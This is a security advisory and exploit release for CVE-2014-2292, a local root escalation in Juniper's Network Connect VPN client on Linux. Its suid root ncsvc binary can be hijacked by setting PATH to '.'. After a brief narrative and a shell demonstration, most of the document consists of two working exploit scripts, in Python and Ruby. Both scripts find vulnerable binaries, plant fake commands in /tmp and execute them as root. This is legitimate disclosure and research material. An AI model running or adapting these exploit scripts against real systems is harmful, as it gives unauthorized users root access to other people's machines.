Juniper - Network Connect VPN client local root



DESCRIPTION


CVE-2014-2292 - Juniper's Network Connect VPN client runs suid root, and fails to protect against one of the oldest classes of security issues on *nix systems.

At a former job we were required to install a VPN client from Juniper. As I ran the installer on my Linux workstation, I was prompted to enter a sudo password. After the installer ran, I found that it placed a suid root binary in my $HOME at ~/.juniper_networks/network_connect/ncsvc. After a few minutes of poking around, it was game over:

[user@host ~/.juniper_networks/network_connect]$ PATH=. ./ncsvc -K
sh: sort: command not found
sh: head: command not found
sh: tr: command not found
sh: cut: command not found
sh: grep: command not found
sh: grep: command not found
sh: sort: command not found
sh: cut: command not found
sh: tr: command not found
sh: head: command not found
sh: killall: command not found
sh: killall: command not found


Juniper informed me that the issue had already been reported by the time I mentioned it.



IMPACT


Anyone who could access the suid root ncsvc utility locally could obtain root privileges.

CVE-2014-2292

JSA10616


#!/usr/bin/python

# Juniper SIR-2014-089, PR 858087
# CVE-2014-2292
# Arbitrary command execution as root via suid/sgid root ncsvc utility
# Fixed in 8.0r2, 7.4r8, 7.3r10, and 7.1r17 as reported by Juniper SIRT

import pwd
import os
import stat
import sys
from subprocess import call

## Get each user's $HOME, where we will check for the ncsvc utility
def get_homedirs():
    homedirs = []

    try:
        fh = open('/etc/passwd', 'r')
    except IOError:
        sys.exit('[-] Could not open /etc/passwd for reading, exiting')

    for line in fh:
        user = line.split(':')[0]
        pwent = pwd.getpwnam(user)
        if not pwent.pw_dir in homedirs:
            homedirs.append(pwent.pw_dir)
    fh.close()

    if not homedirs:
        sys.exit('[-] No homedirs found, exiting')   # This would be very unusual

    find_ncsvc(homedirs)

## Build a list of absolute paths to each ncsvc utility
def find_ncsvc(homedirs):
    ncsvc = []

    for path in homedirs:
        path += '/.juniper_networks/network_connect/ncsvc'
        filetest = os.path.isfile(path)
        if filetest == True:
            st = os.stat(path)
            if st.st_uid == 0 and st.st_mode & stat.S_ISUID and st.st_mode & stat.S_IXUSR:
                ncsvc.append(path)

    if not ncsvc:
        sys.exit('[-] No executable suid root ncsvc utilities found, exiting')

    doit(ncsvc)

## Execute the attack
def doit(ncsvc):
    cmdfile = create_cmdfile()

    os.chdir('/tmp')
    os.environ['PATH'] = '.'

    while len(ncsvc) > 0:
        target = ncsvc.pop(0)
        print '[*] Trying', target
        call([target, '-K'])    # TODO: suppress  STDERR
        os.unlink(cmdfile)

    success = os.path.isfile('/id.out')
    if success == True:
        sys.exit('Success!')
    else:
        print 'Failed to exploit', target

## Create the file used to execute our commands as root
def create_cmdfile():
    files = [ 'ps', 'grep', 'head', 'sort', 'tr', 'cut', 'killall' ]

    for file in files:
        file = '/tmp/' + file
        filetest = os.path.isfile(file)
        if filetest == False:
            print '[+] Using', file
            fh = open(file, 'w')
            fh.write('/usr/bin/id > /id.out')
            fh.close()
            os.chmod(file, 0700)
            break

    return file

get_homedirs()


#!/usr/bin/ruby

# Juniper SIR-2014-089, PR 858087
# CVE-2014-2292
# Arbitrary command execution as root via suid/sgid root ncsvc utility
# Fixed in 8.0r2, 7.4r8, 7.3r10, and 7.1r17 as reported by Juniper SIRT

require 'etc'

## Get each user's $HOME, where we will check for the ncsvc utility
def get_homedirs
    homedirs = []

    fh = File.open('/etc/passwd', 'r')

    for line in fh
        user = line.split(':')[0]
        pwnam = Etc.getpwnam(user)
        dir = pwnam.dir
        if not homedirs.include?(pwnam.dir)
            homedirs.push(pwnam.dir)
            end
    end

    if homedirs.empty?
        abort('[-] No homedirs found, exiting')   # This would be very unusual
        end

    find_ncsvc(homedirs)

end

## Build a list of absolute paths to each ncsvc utility
def find_ncsvc(homedirs)
    ncsvc = []

    for path in homedirs
        path += '/.juniper_networks/network_connect/ncsvc'
        if FileTest.exists?(path) == true   # TODO check owner, S_IXUSR, and S_ISUID
            ncsvc.push(path)
            end
    end

    if ncsvc.empty?
        abort('No executable suid root ncsvc utilities found, exiting')
        end

    doit(ncsvc)
end

## Execute the attack
def doit(ncsvc)
    cmdfile = create_cmdfile()

    Dir.chdir('/tmp')
    ENV['PATH'] = '.'

    while ncsvc.length > 0
        target = ncsvc.pop
        print '[*] Trying', target, "\n"
        %x( #{target} '-K' )
        File.unlink(cmdfile)
        end
end

## Create the file used to execute our commands as root
def create_cmdfile()
    files = [ 'ps', 'grep', 'head', 'sort', 'tr', 'cut', 'killall' ]

    for file in files
        file = '/tmp/' + file
        if FileTest.exists?(file) == false
            print '[+] Using', file, "\n"
            File.open(file, 'w') { |fh| fh.write('/usr/bin/id > /id.out') }
            File.chmod(0700, file)
            break
            end
    end

    return file
end

get_homedirs